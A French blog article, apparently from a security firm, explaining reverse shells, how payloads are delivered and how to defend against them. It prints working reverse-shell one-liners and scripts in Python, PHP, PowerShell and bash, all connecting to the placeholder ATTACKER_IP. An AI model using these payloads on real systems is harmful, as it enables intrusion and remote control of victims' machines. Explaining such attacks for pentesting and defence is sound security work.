Comprendre et exploiter les reverse shell : sécuriser vos systèmes contre ce type d’attaque

Comprendre et exploiter les reverse shell : sécuriser vos systèmes contre ce type d’attaque

Les reverse shell sont des outils puissants souvent utilisés dans le cadre de tests d’intrusion (pentest) et d’exploitation informatique. En étant en mesure de comprendre et d’utiliser ces techniques, les professionnels de la sécurité peuvent mieux protéger leurs systèmes et réseaux contre des attaques malveillantes. myrosolutions vous propose, cet article qui explore le concept de shell inversé, les méthodes couramment utilisées pour les lancer, ainsi que les stratégies pour se protéger contre ces menaces.

Qu’est-ce qu’un reverse shell ?

Un reverse shell, ou shell inversé, est un type de connexion où une machine compromise initie une connexion à un attaquant. Contrairement aux shells traditionnels qui acceptent les connexions entrantes, un reverse shell établit une communication sortante, permettant à l’attaquant de contrôler le système cible à distance.

Comment fonctionne un reverse shell ?

Dans un reverse shell, la victime exécute un payload qui crée une connexion vers l’attaquant. L’attaquant écoute sur un port spécifique et attend cette connexion. Une fois établie, il peut exécuter des commandes comme s’il était présent physiquement sur la machine cible.

  • Attaquant : initialise un écouteur sur un port spécifique.
  • Victime : exécute un script qui se connecte à ce port.
  • Connexion établie : l’attaquant obtient un accès complet au système compromis.

Différents types de reverse shell

Il existe plusieurs manières de mettre en place un reverse shell, chacune ayant ses avantages et inconvénients. Les plus courants incluent les reverse shell TCP, reverse shell UDP, et ceux basés sur différents langages de programmation tels que Python, PHP, et Bash.

Reverse shell TCP

Le reverse shell TCP utilise le protocole TCP pour établir une connexion entre l’attaquant et la victime. Ce type est populaire car il est fiable et maintient une connexion persistante, facilitant ainsi le maintien de la session de commande.

Reverse shell UDP

Le reverse shell UDP emploie le protocole UDP. Bien qu’il soit moins courant que le TCP, il offre certains avantages notamment en termes de rapidité. Cependant, la nature non-fiable du UDP peut entraîner des pertes de données.

Reverse shell Python

Utilisant Python, un langage répandu et puissant, les reverse shell écrits en Python offrent une grande flexibilité. Voici un exemple de script de reverse shell Python :


import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ATTACKER_IP", ATTACKER_PORT))

while True :
    command = s.recv(1024).decode('utf-8')
    if command.lower() == "exit" :
        break
    output = subprocess.getoutput(command)
    s.send(output.encode('utf-8'))
s.close()
    

Reverse shell PHP

Les reverse shell en PHP sont couramment utilisés pour compromettre des applications web vulnérables. Voici un exemple de script reverse shell en PHP :


< ?php
$socket = fsockopen("ATTACKER_IP", ATTACKER_PORT);
$cmd = "sh -i >&3 2>&3";
while ($command = fread($socket, 2048)) {
    $output = shell_exec($command);
    fwrite($socket, $output);
}
fclose($socket);
?>
    

Reverse shell Windows

Les systèmes Windows peuvent également être ciblés par des reverse shell. PowerShell est un outil fréquemment utilisé pour cet objectif.


powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP", ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding] : :ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
    

Reverse shell Linux

Pour les systèmes Linux, diverses options existent, y compris les reverse shell réalisés avec `bash`.


bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
    

Méthodes couramment utilisées pour envoyer un payload reverse shell

L’envoi d’un payload reverse shell peut se faire via divers vecteurs selon le contexte, allant des failles de sécurité dans les applications web (_web application security_) aux outils d’exploitations pendant un pentest.

Injection directe dans les applications web

Les failles d’injections telles que SQL injection ou Command Injection sont très souvent les points d’entrée pour inclure des reverse shell dans des cibles affectées.

Exploitation de services vulnérables

Beaucoup de services de réseau ont des vulnérabilités connues qui permettent aux attaquants d’exécuter du code arbitraire. Un exemple classique serait l’exploitation de failles dans des services SSH mal configurés.

Envoi d’un fichier infecté

L’extension de fichiers exécutables contenant un reverse shell peut parfois tromper les utilisateurs finaux de télécharger et d’exécuter ces fichiers, compromettant ainsi leur système.

Protection contre les attaques reverse shell

Bien que connaître les mécanismes derrière les reverse shell soit crucial, se protéger contre eux est tout aussi important. Voici quelques mesures préventives efficaces :

Firewalls et configurations réseau

Configurer adéquatement vos firewalls pour bloquer les connexions sortantes non autorisées aide grandement à prévenir les infections reverse shell. Surveiller et limiter les connexions sortantes aux services spécifiques et de confiance réduit également les risques.

Antivirus et solutions anti-malware

Les antivirus modernes et solutions anti-malware possèdent généralement des signatures capables de détecter des scripts reverse shell connus. Maintenir ces logiciels à jour est essentiel pour maximiser leur efficacité.

Surveillance du réseau

Implémenter des outils de surveillance réseau comme IDS/IPS permet de détecter des comportements anormaux pouvant indiquer l’activité d’un reverse shell. Analyser les journaux de trafic réseau pour repérer les connexions suspectes est également recommandé.

Audit régulier de sécurité

Conduire régulièrement des audits de sécurité et des pentests vous aide à identifier et corriger les exploitations potentielles avant qu’elles ne soient utilisées par des attaquants.

Outils utilisés dans les reverse shell

Plusieurs outils de reverse shell existent pour aider les auditeurs de sécurité à tester ou défendre leurs réseaux :

Metasploit Framework

Un des frameworks les plus populaires parmi les pentesters, Metasploit, fournit diverses options pour créer et gérer des reverse shell sur différentes plateformes. Il est constamment mis à jour avec les dernières méthodologies et ressources pour les tests de sécurité.

Netcat

Parfois appelé le « couteau suisse » des réseaux, Netcat est un utilitaire simple mais puissant qui peut être utilisé pour établir des reverse shell rapidement. Sa légèreté et sa compatibilité multiplateforme en font un choix fréquent pour les explorations initiales.

PowerSploit

Principalement orienté Windows, PowerSploit fournit une série de scripts PowerShell qui facilitent l’exploitation des systèmes cible, y compris la génération de reverse shell complexes.

Ces outils, bien qu’extrêmement utiles pour les pentesters, doivent être manipulés avec précaution afin d’éviter tout usage malveillant.

reverse shell

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *